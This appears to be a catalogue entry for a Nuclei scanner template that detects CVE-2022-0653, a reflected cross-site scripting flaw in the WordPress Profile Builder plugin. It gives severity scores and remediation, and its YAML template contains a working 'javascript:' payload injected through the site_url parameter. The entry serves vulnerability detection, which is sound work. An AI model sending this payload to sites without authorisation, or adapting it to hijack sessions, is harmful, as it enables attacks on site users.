CVE-2022-0653: Wordpress Profile Builder Plugin Cross-Site Scripting
- Template: CVE-2022-0653
- Name: Wordpress Profile Builder Plugin Cross-Site Scripting
- Description: The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
- Remediation: Upgrade to version 3.6.5 or later.
- Severity: medium
- Authors: dhiyaneshDk
- Tags: cve, cve2022, wordpress, xss, wp-plugin, cozmoslabs, vkev, vuln
- References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-0653, https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/, https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2655168%40profile-builder&new=2655168%40profile-builder&sfp_email=&sfph_mail=, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2022-0653
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0653.yaml
- Digest: 4b0a00483046022100e41f0d027aa36a175a25e67dd7a599c89b862213303deaa82cd892eb3c4e5f4f022100bf4805f91329f366852ca8ac4a9af30db57da79ca7203ab4e7268cb543507fc6
- Created at: 2022-02-24T11:33:20Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1734
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0653.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.02331
- Epss percentile: 0.83976
- Cpe: cpe:2.3:a:cozmoslabs:profile_builder:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 1
- Product: profile_builder
- Vendor: cozmoslabs
Products
| Product | Indexed | Url |
|---|---|---|
| cozmoslabs:profile_builder | yes | /v1/products/cozmoslabs/profile_builder |
Labels
- Name: Profile Builder - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Update to the latest version beyond 3.6.1 or apply security patches provided by the plugin developer.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs to craft and send malicious links to victims
- Labels source: projectdiscovery
- From cve: CVE-2022-0653
```yaml
id: CVE-2022-0653
info:
name: Wordpress Profile Builder Plugin Cross-Site Scripting
author: dhiyaneshDk
severity: medium
description: |
The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Upgrade to version 3.6.5 or later.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-0653
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0653
cwe-id: CWE-79
epss-score: 0.02331
epss-percentile: 0.83976
cpe: cpe:2.3:a:cozmoslabs:profile_builder:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: cozmoslabs
product: profile_builder
framework: wordpress
tags: cve,cve2022,wordpress,xss,wp-plugin,cozmoslabs,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a href="javascript:alert(document.domain);">here</a>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
digest: 4b0a00483046022100e41f0d027aa36a175a25e67dd7a599c89b862213303deaa82cd892eb3c4e5f4f022100bf4805f91329f366852ca8ac4a9af30db57da79ca7203ab4e7268cb543507fc6:922c64590222798bb761d5b6d8e72950
```